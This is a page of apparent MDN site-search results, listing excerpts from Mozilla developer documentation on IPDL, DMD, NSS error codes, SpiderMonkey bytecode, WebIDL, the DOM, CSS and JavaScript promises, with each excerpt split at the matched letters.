mmands below, pressing enter after each one. (more details are available at using the mozilla symbol server.) .sympath srv*c:\symbols*http://symbols.mozilla.org/firefox;srv*c:\symbols*http://msdl.microsoft.com/download/symbols .symfix+ c:\symbols .reload /f now wait for the symbols to download. this may take some time depending on your connection speed; the total size of the mozilla and microsoft...
...And 8 more matches
IPDL Tutorial
ipdl, short for "inter-process-co
mmunication protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way. all messages for multi-process plugins and tabs in firefox are declared in the ipdl language. to experiment with adding a new ipdl protocol, see creating a new protocol. all ipdl messages are sent between parent and a child end points, called actors. an ipdl protocol declares how actors co
mmunicate: it declares the possible messages that may be sent between actors, as well as a state machine describing when messages are allowed to be sent. the parent actor is typically the more permanent side of the conversation: parent/child actors parent child ipc t...
... the more permanent side of the conversation: parent/child actors parent child ipc tabs chrome process content process ipc plugins content process plugin process each protocol is declared in a separate file. the ipdl compiler generates several c++ headers from each ipdl protocol. this generated code manages the details of the underlying co
mmunication layer (sockets and pipes), constructing and sending messages, ensuring that all actors adhere to their specifications, and handling many error conditions. the following ipdl code defines a very basic interaction of browser and plugin actors: async protocol pplugin { child: async init(nscstring pluginpath); async shutdown(); parent: async ready(); }; this code declares the pplug...
...inlibrary); } private: prlibrary* mpluginlibrary; }; launching the subprocess and hooking these protocol actors into our ipc "transport layer" is beyond the scope of this document. see ipdl processes and threads for more details. because protocol messages are represented as c++ methods, it's easy to forget that they are in fact asynchronous messages: by default the c++ method will return i
mmediately, before the message has been delivered. the parameters of the recv* methods (const nscstring& pluginpath in the example) are references to temporary objects, so copy them if you need to keep their data around. direction each message type includes a "direction." the message direction specifies whether the message can be sent from-parent-to-child, from-child-to-parent, or both ways. thr...
...And 8 more matches
DMD
full list of ways to get a dmd report once you have it activated. note that stack information you get will likely be less detailed, due to being unable to symbolicate. you will be able to get function names, but not line numbers. desktop firefox (linux) build build firefox with these options: ac_add_options --enable-dmd if building via try server, modify browser/config/mozconfigs/linux64/co
mmon-opt or a similar file before pushing. launch use mach run --dmd; use --mode to choose the mode. add --debug to run under gdb. trigger there are three ways to trigger a dmd snapshot. visit about:memory and click the dmd button (depending on how old your build is, it might be labelled "save" or "analyze reports" or "dmd"). the button won't be present in non-dmd builds, and will be grayed o...
...the temporary directory. identifier is a string that will be used for part of the filename (or a timestamp will be used if it is an empty string); anonymize is a boolean that indicates if the memory reports should be anonymized; and minimize is a boolean that indicates if memory usage should be minimized first. (linux only) you can send signal 34 to the firefox process, e.g. with the following co
mmand. $ killall -34 firefox each one of these steps triggers all the memory reporters and then dmd analyzes the reports, printing co
mmentary like this: dmd[5222] opened /tmp/dmd-1414556492-5222.json.gz for writing dmd[5222] dump 1 { dmd[5222] constructing the heap block list... dmd[5222] constructing the stack trace table... dmd[5222] constructing the stack frame table... dmd[5222] } ...
...cess. this step can take 10 or more seconds and may make firefox freeze temporarily. if you see the "opened" line, it tells you where the file was saved. it's always in a temp directory, and the filenames are always of the form dmd-<pid>. ...
...And 8 more matches
sslerr.html
ssl error codes nss error codes are retrieved using the nspr function pr_geterror. in addition to the error codes defined by nspr, pr_geterror retrieves the error codes described in this chapter. ssl error codes sec error codes ssl error codes table 8.1 error codes defined in sslerr.h constant value description ssl_error_export_only_server -12288 "unable to co
mmunicate securely. peer does not support high-grade encryption." the local system was configured to support the cipher suites permitted for domestic use. the remote system was configured to support only the cipher suites permitted for export use. ssl_error_us_only_server -12287 "unable to co
mmunicate securely. peer requires high-grade encryption which is not supported."...
...this can be due to a misconfiguration at either end. it can be due to a server being misconfigured to use a non-rsa certificate with the rsa key exchange algorithm. ...
...this can be due to a misconfiguration at either end. it can be due to a server being misconfigured to use a non-rsa certificate with the rsa key exchange algorithm. ...
...And 8 more matches
Bytecode Descriptions
bytecode listing this document is automatically generated from opcodes.h by make_opcode_doc.py. constants undefined stack: ⇒ undefined push undefined. null stack: ⇒ null push null. false, true stack: ⇒ true/false push a boolean constant. int32 operands: (int32_t val) stack: ⇒ val push the int32_t i
mmediate operand as an int32value. jsop::zero, jsop::one, jsop::int8, jsop::uint16, and jsop::uint24 are all compact encodings for jsop::int32. zero stack: ⇒ 0 push the number 0. one stack: ⇒ 1 push the number 1. int8 operands: (int8_t val) stack: ⇒ val push the int8_t i
mmediate operand as an int32value. uint16 operands: (uint16_t val) stack: ⇒ val push the uint16_t i
mmediate operand as an int32value. uint24 operands: (uint24_t val) stack: ⇒ val push t...
...uint24 are all compact encodings for jsop::int32. zero stack: ⇒ 0 push the number 0. one stack: ⇒ 1 push the number 1. int8 operands: (int8_t val) stack: ⇒ val push the int8_t i
mmediate operand as an int32value. uint16 operands: (uint16_t val) stack: ⇒ val push the uint16_t i
mmediate operand as an int32value. uint24 operands: (uint24_t val) stack: ⇒ val push the uint24_t i
mmediate operand as an int32value. double operands: (double val) stack: ⇒ val push the 64-bit floating-point i
mmediate operand as a doublevalue. if the operand is a nan, it must be the canonical nan (see js::detail::canonicalizenan). bigint operands: (uint32_t bigintindex) stack: ⇒ bigint push the bigint constant script->getbigint(bigintindex). string operands: (uint32_t atomindex) stac...
...rators void stack: val ⇒ undefined pop the top value on the stack, discard it, and push undefined. implements: the void operator, step 3. typeof, typeofexpr stack: val ⇒ (typeof val) the typeof operator. infallible. the result is always a string that depends on the type of val. jsop::typeof and jsop::typeofexpr are the same except that--amazingly--jsop::typeof affects the behavior of an i
mmediately preceding jsop::getname or jsop::getgname instruction! this is how we implement typeof step 2, making typeof nonexistingvariable return "undefined" instead of throwing a referenceerror. in a global scope: typeof x compiles to getgname "x"; typeof. typeof (0, x) compiles to getgname "x"; typeofexpr. emitting the same bytecode for these two expressions would be a bug. per spec, the latter...
...And 8 more matches
Mozilla internal string guide
terminated. nsstring/nscstring: builds on nsastring by guaranteeing a null-terminated storage. this allows for a method (.get()) to access the underlying character buffer. the remainder of the string classes inherit from either nsastring or nsstring. thus, every string class is compatible with nsastring. since every string derives from nsastring (or nsacstring), they all share a simple api. ...
... .append(string) - appends a value to the string. .insert(string, position) - inserts the given string before the code unit at position. .truncate(length) - shortens the string to the given length. complete documentation can be found in the appendix. ...
... exposed across modules, use nsastring references to pass strings. for example: // when passing a string to a method, use const nsastring& nsfoo::printstring(const nsastring &str); // when getting a string from a method, use nsastring& nsfoo::getstring(nsastring &result); the abstract classes are also sometimes used to store temporary references to objects. you can see both of these uses in co
mmon patterns, below. the concrete classes - which classes to use when the concrete classes are for use in code that actually needs to store string data. the most co
mmon uses of the concrete classes are as local variables, and members in classes or structs. the following is a list of the most co
mmon concrete classes. once you are familiar with them, see the appendix describing what class to us...
...And 8 more matches
nsIMsgFolder
window,in nsisupportsarray aofflinefolderarray); void emptytrash(in nsimsgwindow amsgwindow, in nsiurllistener alistener); void rename(in astring name, in nsimsgwindow msgwindow); void renamesubfolders( in nsimsgwindow msgwindow, in nsimsgfolder oldfolder); astring generateuniquesubfoldername(in astring prefix,in nsimsgfolder otherfolder); void updatesu
mmarytotals(in boolean force); void su
mmarychanged(); long getnumunread(in boolean deep); long gettotalmessages(in boolean deep); void clearnewmessages(); void clearrequirescleanup(); void setflag(in unsigned long flag); void clearflag(in unsigned long flag); boolean getflag(in unsigned long flag); void toggleflag(in un...
...oid downloadmessagesforoffline(in nsisupportsarray messages, in nsimsgwindow window); nsimsgfolder getchildwithuri(in acstring uri, in boolean deep, in boolean caseinsensitive); void downloadallforoffline(in nsiurllistener listener, in nsimsgwindow window); void enablenotifications(in long notificationtype, in boolean enable, in boolean dbbatching); boolean isco
mmandenabled(in acstring co
mmand); boolean matchorchangefilterdestination(in nsimsgfolder folder,in boolean caseinsensitive); boolean confirmfolderdeletionforfilter(in nsimsgwindow msgwindow); void alertfilterchanged(in nsimsgwindow msgwindow); void throwalertmsg(in string msgname, in nsimsgwindow msgwindow); astring getstringwithfoldernamefrombundle(in s...
...essages(in nsisupportsarray amessages, in acstring ajunkscore); void applyretentionsettings(); boolean fetchmsgpreviewtext([array, size_is (anumkeys)] in nsmsgkey akeystofetch, in unsigned long anumkeys, in boolean alocalonly, in nsiurllistener aurllistener); void addkeywordstomessages(in nsisupportsarray amessages, in acstring akeywords); void removekeywordsfro
mmessages(in nsisupportsarray amessages, in acstring akeywords); autf8string getmsgtextfromstream(in nsimsgdbhdr amsghdr, in nsiinputstream astream, in long abytestoread, in long amaxoutputlen, in boolean acompressquotes); attributes attribute type description supportsoffline boolean readonly offlinestoreoutputstream nsioutputstream reado...
...And 8 more matches
WebIDL bindings
our objects can only be created, never gotten from other objects. if you also inherit from nsisupports, make sure the nsisupports comes before the nswrappercache in your list of parent classes. if your interface does inherit from another interface, just inherit from the c++ type that the other interface corresponds to. if you do need to hook up cycle collection, it will look like this in the co
mmon case of also inheriting from nsisupports: // add strong pointers your class holds here. if you do, change to using // ns_impl_cycle_collection_wrappercache. ns_impl_cycle_collection_wrappercache_0(myclass) ns_impl_cycle_collecting_addref(myclass) ns_impl_cycle_collecting_release(myclass) ns_interface_map_begin_cycle_collection(myclass) ns_wrappercache_interface_map_entry ns_interface_map...
...f the type is not in the header file one gets by replacing '::' with '/' and appending '.h', then add a corresponding 'headerfile' annotation (or headerfile annotation to the .webidl file). if you don't have to set any annotations, then you don't need to add an entry either and the code generator will simply assume the defaults here. note that using a 'headerfile' annotation is generally not reco
mmended. if you do use it, you will need to make sure your header includes all the headers needed for your func annotations. add external interface entries to bindings.conf for whatever non-webidl interfaces your new interface has as arguments or return values. implement a wrapobject override on mozilla::dom::myinterface that just calls through to mozilla::dom::myinterface_binding::wrap. note tha...
...hod or getter is called even if no gecko code ran between the calls. nothing the return value is a constant that never changes. this value cannot be used on non-readonly attributes, since having a non-readonly attribute whose value never changes doesn't make sense. values other than everything, when used in combination with [affects=nothing], can used by the jit to perform loop-hoisting and co
mmon subexpression elimination on the return values of idl attributes and methods. [affects] used for a method or attribute getter to indicate what sorts of state can be affected when the function is called. attribute setters are, for now, assumed to affect everything. possible values are: everything this value can't actually be specified explicitly; this is the default value you get when [aff...
...And 8 more matches
Browser Console - Firefox Developer Tools
imilarly, you can execute javascript expressions using the browser console. but while the web console executes code in the page window scope, the browser console executes them in the scope of the browser's chrome window. this means you can interact with all the browser's tabs using the gbrowser global, and even with the xul used to specify the browser's user interface. nb: the browser console co
mmand line (to execute javascript expressions) is disabled by default. to enable it set the devtools.chrome.enabled preference to true in about:config, or set the "enable browser chrome and add-on debugging toolboxes" (firefox 40 and later) option in the developer tool settings. opening the browser console you can open the browser console in one of two ways: from the menu: select "browser con...
...eloper tool settings. opening the browser console you can open the browser console in one of two ways: from the menu: select "browser console" from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on macos). from the keyboard: press ctrl+shift+j (or cmd+shift+j on a mac). you can also start the browser console by launching firefox from the co
mmand line and passing the -jsconsole argument: /applications/firefoxaurora.app/contents/macos/firefox-bin -jsconsole the browser console looks like this: you can see that the browser console looks and behaves very much like the web console: most of the window is occupied by a pane that display messages. at the top, a toolbar enables you to filter the messages that appear. at the bottom, a...
... line and passing the -jsconsole argument: /applications/firefoxaurora.app/contents/macos/firefox-bin -jsconsole the browser console looks like this: you can see that the browser console looks and behaves very much like the web console: most of the window is occupied by a pane that display messages. at the top, a toolbar enables you to filter the messages that appear. at the bottom, a co
mmand line interpreter enables you to evaluate javascript expressions. beginning with firefox 68, the browser console allows you to show or hide messages from the content process (i.e. the messages from scripts in all the opened pages) by setting or clearing the checkbox labeled show content messages. the following image shows the browser console focused on the same page as above after clicking on...
...And 8 more matches
Introduction to the DOM - Web APIs
the document object model (dom) is the data representation of the objects that comprise the structure and content of a document on the web. in this guide, we'll briefly introduce the dom. we'll look at how the dom represents an html or xml document in memory and how you use apis to create web content and applications. what is the dom? the document object model (dom) is a progra
mming interface for html and xml documents. it represents the page so that programs can change the document structure, style, and content. the dom represents the document as nodes and objects. that way, progra
mming languages can connect to the page. a web page is a document. this document can be either displayed in the browser window or as the html source. but it is the same document in both cases. the docum...
...ed by other apis that add new features and capabilities to the dom. for example, the html dom api adds support for representing html documents to the core dom. dom and javascript the short example above, like nearly all of the examples in this reference, is javascript. that is to say, it's written in javascript, but it uses the dom to access the document and its elements. the dom is not a progra
mming language, but without it, the javascript language wouldn't have any model or notion of web pages, html documents, xml documents, and their component parts (e.g. elements). every element in a document—the document as a whole, the head, tables within the document, table headers, text within the table cells—is part of the document object model for that document, so they can all be accessed an...
... the dom and a scripting language like javascript. in the beginning, javascript and the dom were tightly intertwined, but eventually, they evolved into separate entities. the page content is stored in the dom and may be accessed and manipulated via javascript, so that we may write this approximative equation: api = dom + javascript the dom was designed to be independent of any particular progra
mming language, making the structural representation of the document available from a single, consistent api. though we focus exclusively on javascript in this reference documentation, implementations of the dom can be built for any language, as this python example demonstrates: # python dom example import xml.dom.minidom as m doc = m.parse(r"c:\projects\py\chap1.xml") doc.nodename # dom property o...
...And 8 more matches
HTMLTimeElement.dateTime - Web APIs
the htmltimeelement.datetime property is a domstring that reflects the datetime html attribute, containing a machine-readable form of the element's date and time value. ...
... the htmltimeelement.datetime property is a domstring that reflects the datetime html attribute, containing a machine-readable form of the element's date and time value. ...
...hat reflects the datetime html attribute, containing a machine-readable form of the element's date and time value. ...
...And 8 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
h, geometry, and other concepts behind webgl and webxr which may be useful to read before or while reading this one, including: explaining basic 3d theory matrix math for the web webgl model view projection geometry and reference spaces in webxr ed. note: most diagrams used in this article to show how the camera moves while performing standard movements was taken from an article on the fil
mmakeriq web site; namely, from this image which is found all over the web, however, and though we assume these are under a permissive license due to their frequent reuse, ownership is not certain. we hope that it's freely usable; if not, and you're the owner, please let us know and we'll find or produce new diagrams. or, if you're happy to let us continue to use the images, please let us know so we...
...g the camera or by moving everything around the camera. and that's our solution. since we can't move the camera, we move the world around it. our renderer needs to know where we imagine the camera to be, then alter the position of every visible object to simulate that position and orientation. thus, instead of referring to an actual camera object, the term camera is used in webgl and webxr progra
mming to refer to an object describing the position and viewing direction of a hypothetical viewer of the scene, whether there's an actual object present in 3d space or not. points of view since the camera is a virtual object which, rather than necessarily representing a physical object in the virtual world, represents a viewer's position and viewing direction, it's useful to think about the kinds...
...ight apply to any 3d graphics scene. generalized cameras in general, virtual cameras may or may not be incorporated into physical objects within the scene. indeed, outside the scope of 3d gaming, the odds are far more likely that the camera will not correspond with an object that appears in the scene at all. some examples of ways 3d cameras are used: when rendering animation—whether for fil
mmaking or for use within the context of a presentation or game—the virtual camera is used just like a real-world film camera. as much as possible, standard cinematographic techniques are used, since the viewer has likely grown up watching films using those techniques, and has subconscious expectations that a film or animation will follow those methods. deviating from them can pull the viewer out ...
...And 8 more matches
CSS values and units - CSS: Cascading Style Sheets
below is an overview of most of these data types. refer to the page for each value type for more detailed information. ...
...tion, but it does not currently have good browser support. urls a <url> type uses functional notation, which accepts a <string> that is a url. this may be an absolute url or a relative url. for example, if you wanted to include a background image, you might use either of the following. .box { background-image: url("images/my-background.png"); } .box { background-image: url("https://www.exa
mmple.com/images/my-background.png"); } the parameter for url() can be either quoted or unquoted. if unquoted, it is parsed as a <url-token>, which has extra requirements including the escaping of certain characters. see <url> for more information. numeric data types <integer> <number> <dimension> <percentage> integers an integer is one or more decimal digits, 0 through 9, such as 1024 ...
...nt's inline axis. vb 1% of viewport's size in the root element's block axis. vmin 1% of viewport's smaller dimension. vmax 1% of viewport's larger dimension. absolute length units are fixed to a physical length: either an inch or a centimeter. many of these units are therefore more useful when the output is a fixed size media, such as print. ...
...And 8 more matches
Value definition syntax - CSS: Cascading Style Sheets
in addition to this syntax, the set of valid values can be further restricted by semantic constraints (for example, for a number to be strictly positive). the definition syntax describes which values are allowed and the interactions between them. a component can be a keyword, some characters considered as a literal, or a value of a given css data type or of another css property. component value types keywords generic keywords a keyword with a predefined meaning appears literally, without quotation marks. for example: auto, smaller or ease-in. ...
...ing appears literally, without quotation marks. for example: auto, smaller or ease-in. the specific case of inherit, initial and unset all css properties accept the keywords inherit, initial and unset, that are defined throughout css. they are not shown in the value definition, and are implicitly defined. literals in css, a few characters can appear on their own, like the slash ('/') or the co
mma (','), and are used in a property definition to separate its parts. the co
mma is often used to separate values in enumerations, or parameters in mathematical-like functions; the slash often separates parts of the value that are semantically different, but have a co
mmon syntax. typically, the slash is used in shorthand properties; to separate component that are of the same type, but belong to dif...
...are of the same type, but belong to different properties. both symbols appear literally in a value definition. data types basic data types some kind of data are used throughout css, and are defined once for all values in the specification. called basic data types, they are represented with their name surrounded by the symbol '<' and '>': <angle>, <string>, … non-terminal data types less co
mmon data types, called non-terminal data types, are also surrounded by '<' and '>'. non-terminal data types are of two kinds: data types sharing the same name of a property, put between quotes. in this case, the data type shares the same set of values as the property. they are often used in the definition of shorthand properties. data type not sharing the same name of a property. these data t...
...And 8 more matches
<menuitem> - HTML: Hypertext Markup Language
permitted content none, it is an empty element. ...
... permitted content none, it is an empty element. ...
... permitted content none, it is an empty element. ...
...And 8 more matches
Using Promises - JavaScript
on of the current run of the javascript event loop. callbacks added with then(), as above, will be called even after the success or failure of the asynchronous operation. multiple callbacks may be added by calling then() several times. each callback is executed one after another, in the order in which they were inserted. one of the great things about using promises is chaining. chaining a co
mmon need is to execute two or more asynchronous operations back to back, where each subsequent operation starts when the previous operation succeeds, with the result from the previous step. we accomplish this by creating a promise chain. here's the magic: the then() function returns a new promise, different from the original: const promise = dosomething(); const promise2 = promise.then(successcal...
...an exception, the browser will look down the chain for .catch() handlers or onrejected. ...
... finalresult = await dothirdthing(newresult); console.log(`got the final result: ${finalresult}`); } catch(error) { failurecallback(error); } } it builds on promises, e.g. dosomething() is the same function as before. you can read more about the syntax here. promises solve a fundamental flaw with the callback pyramid of doom, by catching all errors, even thrown exceptions and progra
mming errors. this is essential for functional composition of asynchronous operations. promise rejection events whenever a promise is rejected, one of two events is sent to the global scope (generally, this is either the window or, if being used in a web worker, it's the worker or other worker-based interface). the two events are: rejectionhandled sent when a promise is rejected, after that re...
...And 8 more matches
Miscellaneous - Archive of obsolete content
s "firefox" for firefox services.appinfo.version; // returns "2.0.0.1" for firefox version 2.0.0.1 retrieving the version of an extension as specified in the extension's install.rdf components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("extension-guid@example.org", function(addon) { // this is an asynchronous callback function that might not be called i
mmediately alert("my extension's version is " + addon.version); }); restarting firefox/thunderbird/seamonkey_2.0 for firefox 3 see onwizardfinish around here: http://mxr.mozilla.org/seamonkey/sou...pdates.js#1639 for firefox 2 see around here: http://mxr.mozilla.org/mozilla1.8/so...pdates.js#1631 bug 338039 tracks improving this situation by providing a simple method to restart the applicat...
...s#1639 for firefox 2 see around here: http://mxr.mozilla.org/mozilla1.8/so...pdates.js#1631 bug 338039 tracks improving this situation by providing a simple method to restart the application. example for firefox: services.startup.quit(services.startup.eforcequit|services.startup.erestart); mouse and keyboard detecting mouse wheel events when scrolling the mouse wheel on an element, the do
mmousescroll event fires. event.detail contains the number of lines to scroll. this event is mozilla-only; other browsers may support window.onmousewheel. <div id="scrollarea" style="overflow: scroll; height: 6em; width: 10em;"> this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrollin...
...olling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. </div> <script type="text/javascript"> var elm = document.getelementbyid("scrollarea"); elm.addeventlistener("do
mmousescroll", function scroll(event){ //event.detail is positive for a downward scroll, negative for an upward scroll alert("scrolling " + event.detail + " lines"); }, false); </script> if you do not receive a do
mmousescroll event while holding any of the modifier keys (ctrl,shift,alt,meta) you should check the mousewheel.withcontrolkey.action and related preferences. the meaning of the...
...And 7 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
using eval in add-ons is almost always unnecessary, and many times even a security vulnerability. moreover, code using eval is harder to parse for a human mind, is often pretty complex, and relies on assumptions that are not necessarily true in the future or even now. this article is aimed at presenting alternatives to co
mmon eval uses in add-ons and other javascript code. add-on authors are strongly encouraged to update their code to eliminate all instances of eval, no matter if the add-on is to be hosted in the mozilla add-ons gallery or not. in order to host your add-on with mozilla it is crucial to minimize or completely eliminate eval use in order to receive a positive review and have your add-on made public. if it cannot be easily proven that an eval() call is benign and necessary ...
...now in particular when you later want to call removeeventlistener: you'll have to pass the resulting function from the first .bind() call. calling .bind() again with removeeventlistener will not work. also, calling .bind() in a tight (inner) loop should be avoided for performance reasons, as calling .bind() does require some work and memory. overriding/extending/amending existing functions a co
mmon thing add-ons do during their initialization is overriding/extending existing browser functions by using function.tostring/function.tosource and eval to "string-patch" the function body. // do not use! var functionbody = gbrowser.addtab.tosource(); var afterbracket = functionbody.indexof("{") + 1; functionbody = functionbody.substring(0, afterbracket) + "myaddon.onaddtab(auri);" + functionbody...
... same as with "passing functions/code as strings" above, patching a function to with fragments of externally retrieved data will create security vulnerabilities. alternative: replace + function.apply() you may replace the original function with a new function, keeping a reference to the original function which you then call from the new one. // wrap in an anonymous function (which is called i
mmediately). // this will encapsulate local variables such as _original and // not pollute the global namespace. (function() { // keep a reference to the original function. var _original = gbrowser.addtab; // override a function. gbrowser.addtab = function() { // execute some action before the original function call. try { myaddon.onaddtab(arguments[0]); } catch (ex) { ...
...And 7 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
on from 2003 with slight modifications (no images and no links to samples). it's here for reference. introduction when you click a link on a web page, your web browser makes a request to a web server which usually results in a new web page as a response. that new page may have links that take you to other pages, which may in turn have more links, and so on. this model of web navigation is so co
mmon that most internet users do little else. but as the internet matures, this model has begun to show its age and its limitations. for web developers, for example, it provides less fine-grained control over the experience, and it can strain bandwidth and other resources. and for users it usually doesn't begin to approach the seamlessness and usability of good application user interfaces. recently,...
...eveloping web pages, in which developers format text layouts into pages and link those pages to related content, is analogous to a book or a magazine: readers view pages, go to other pages for more information, and view resources listed as references on that page. html and web standards have evolved and now offer flexible and fine-grained control to layout as well supporting dhtml, powerful progra
mming languages like javascript, and additional media through embeddable third-party resources like flash, java, vrml, etc. additionally, server-side technologies have also evolved, supporting and connecting different resources to different browsers. despite all the evolution, we still see the underpinnings of the original model in modern web sites. we still connect through a set of links that mostl...
...ation and preserves the page's context. this new navigational method allows us to make html user interfaces behave similarly to non-web based applications such as contact management software. the basic implementation uses a resource such as the web page or the web application to control the navigation system. in other words, the page is the browsing device during the experience, and the user is "i
mmersed" in that browsing device. what does this mean, practically speaking? what does it look like? good candidates for inner-browsing include a spell check application, in which the text entered in a web page is checked as it is typed; a webmail application that uses the inner-browsing model to display the separate messages and message lists in an integrated way, much like a client mail app; and a...
...And 7 more matches
button - Archive of obsolete content
s | related ] a button that can be pressed by the user. event handlers can be used to trap mouse, keyboard and other events. it is typically rendered as a grey outset rectangle. you can specify the label of the button using the label attribute or by placing content inside the button. more information is available in the xul tutorial. ...
...rectangle. you can specify the label of the button using the label attribute or by placing content inside the button. more information is available in the xul tutorial. attributes accesskey, autocheck, checkstate, checked, co
mmand, crop, dir, disabled, dlgtype, group, icon, image, label, open, orient, tabindex, type properties accesskey, accessibletype, autocheck, checkstate, checked, co
mmand, crop, dir, disabled, dlgtype, group, image, label, open, orient, tabindex, type examples <button label="press me" onco
mmand="alert('you pressed me!');"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label attribute for the element. autochec...
...th a check state. constants for the possible values for this attribute are in the nsidomxulbuttonelement interface. checked type: boolean indicates whether the element is checked or not. use hasattribute() to determine whether this attribute is set instead of getattribute(). for buttons, the type attribute must be set to checkbox or radio for this attribute to have any effect. co
mmand type: id set to the id of a co
mmand element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reverse...
...And 7 more matches
Index - Game development
new technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser. 2 anatomy of a video game games, javascript, main loop, requestanimationframe i want to be clear that any of the above, or none of them, could be best for your game. the correct decision entirely depends on the trade-offs that you are willing (and unwilling) to make. the concern is mostly with switching to another option. ...
...ruciating game of whack-a-mole. 3 examples demos, example, games, web this page lists a number of impressive web technology demos for you to get inspiration from, and generally have fun with. a testament to what can be done with javascript, webgl, and related technologies. ...
... index meta found 74 pages: 5 introduction to html5 game development (su
mmary) firefox os, games, html5, mobile games built with html5 work on smartphones, tablets, pcs and smart tvs.update your game whenever you want.players can play the game anywhere, anytime. 6 introduction to game development for the web firefox os, games, guide, mobile no su
mmary! 7 publishing games games, html5, javascript, monetization, promotion, distribution, publishing this series of articles looks at the options you have when you want to publish and distribute your game, and earn something out of it while you wait for it to become famous. 8 game distribution cocoonio, game, game publishing, games, gaming, html5, javascript, mob...
...And 7 more matches
Visual typescript game engine - Game development
luanch debugger configuration comes with this project. physics engine based on matter.js. multiplatform video chat (for all browsers) implemented. socketio used for session staff. multirtc2 used for data transfer also for video chat. multirtc3 alias 'broadcaster' used for video chat. ...
... all dependency works in build process we need some plugins. npm install npm run build navigate in browser /build/app.html to see client app in action -the client part is a browser web application. no reloading or redirecting. this is a single page application. i use html request only for loading local/staged html (like register, login etc.). networking is based on websocket full-duplex co
mmunication only.you must be conform with classic socket connection methodology. webrtc can be used for any proportion. already implemented: -video chat webrtc (sip) chat and data co
mmunication. look back on main staff : -class 'connector' (native websocket) used for user session staff. for main account session staff like login, register etc. client config if you want web app without any ne...
...the setup this on false in main client config class. appuseaccountssystem: boolean = false; networking is disabled by default. ...
...And 7 more matches
Introduction to events - Learn web development
previous overview: building blocks next events are actions or occurrences that happen in the system you are progra
mming, which the system tells you about so you can respond to them in some way if desired. for example, if the user selects a button on a webpage, you might want to respond to that action by displaying an information box. in this article, we discuss some important concepts surrounding events, and look at how they work in browsers. this won't be an exhaustive study; just what you need to know at this stage. prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps. ...
...epts surrounding events, and look at how they work in browsers. this won't be an exhaustive study; just what you need to know at this stage. prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps. objective: to understand the fundamental theory of events, how they work in browsers, and how events may differ in different progra
mming environments. a series of fortunate events as mentioned above, events are actions or occurrences that happen in the system you are progra
mming — the system produces (or "fires") a signal of some kind when an event occurs, and provides a mechanism by which an action can be automatically taken (that is, some code running) when the event occurs. for example, in an airport, when the runw...
...as a result, the plane can safely takeoff. ...
...And 7 more matches
Introduction to web APIs - Learn web development
at what the different main classes of apis are, and what kind of uses they have. prerequisites: basic computer literacy, a basic understanding of html and css, javascript basics (see first steps, building blocks, javascript objects). objective: to gain familiarity with apis, what they can do, and how you can use them in your code. what are apis? application progra
mming interfaces (apis) are constructs made available in progra
mming languages to allow developers to create complex functionality more easily. they abstract more complex code away from you, providing some easier syntax to use in its place. as a real-world example, think about the electricity supply in your house, apartment, or other dwellings. if you want to use an appliance in your house, you sim...
...k about the electricity supply in your house, apartment, or other dwellings. if you want to use an appliance in your house, you simply plug it into a plug socket and it works. you don't try to wire it directly into the power supply — to do so would be really inefficient and, if you are not an electrician, difficult and dangerous to attempt. image source: overloaded plug socket by the clear co
mmunication people, on flickr. in the same way, if you want to say, program some 3d graphics, it is a lot easier to do it using an api written in a higher-level language such as javascript or python, rather than try to directly write low level code (say c or c++) that directly controls the computer's gpu or other graphics functions. note: see also the api glossary entry for further description. ...
...ipt tools so above, we talked about what client-side javascript apis are, and how they relate to the javascript language. let's recap this to make it clearer, and also mention where other javascript tools fit in: javascript — a high-level scripting language built into browsers that allows you to implement functionality on web pages/apps. note that javascript is also available in other progra
mming environments, such as node. browser apis — constructs built into the browser that sits on top of the javascript language and allows you to implement functionality more easily. third-party apis — constructs built into third-party platforms (e.g. twitter, facebook) that allow you to use some of those platform's functionality in your own web pages (for example, display your latest tweets on...
...And 7 more matches
Arrays - Learn web development
and more error-prone. if we had 10 items to add to the invoice it would already be annoying, but what about 100 items, or 1000? we'll return to this example later on in the article. as in previous articles, let's learn about the real basics of arrays by entering some examples into browser developer console. creating arrays arrays consist of square brackets and elements that are separated by co
mmas. suppose we want to store a shopping list in an array. paste the following code into the console: let shopping = ['bread', 'milk', 'cheese', 'hu
mmus', 'noodles']; shopping; in the above example, each element is a string, but in an array we can store various data types — strings, numbers, objects, and even other arrays. we can also mix data types in a single array — we do not have t...
...hen access individual items in the array using bracket notation, in the same way that you accessed the letters in a string. enter the following into your console: shopping[0]; // returns "bread" you can also modify an item in an array by simply giving a single array item a new value. try this: shopping[0] = 'tahini'; shopping; // shopping will now return [ "tahini", "milk", "cheese", "hu
mmus", "noodles" ] note: we've said it before, but just as a reminder — computers start counting from 0! note that an array inside an array is called a multidimensional array. you can access an item inside an array that is itself inside another array by chaining two sets of square brackets together. for example, to access one of the items inside the array that is the third item inside the ra...
...r array examples before moving on. play around a bit, and see what works and what doesn't. finding the length of an array you can find out the length of an array (how many items are in it) in exactly the same way as you find out the length (in characters) of a string — by using the length property. try the following: shopping.length; // should return 5 this has other uses, but it is most co
mmonly used to tell a loop to keep going until it has looped through all the items in an array. so for example: let sequence = [1, 1, 2, 3, 5, 8, 13]; for (let i = 0; i < sequence.length; i++) { console.log(sequence[i]); } you'll learn about loops properly later on (in our looping code article), but briefly, this code is saying: start looping at item number 0 in the array. stop looping at th...
...And 7 more matches
Basic math in JavaScript — numbers and operators - Learn web development
ecially true when we are learning to program javascript (or any other language for that matter) — so much of what we do relies on processing numerical data, calculating new values, and so on, that you won't be surprised to learn that javascript has a full-featured set of math functions available. this article discusses only the basic parts that you need to know now. types of numbers in progra
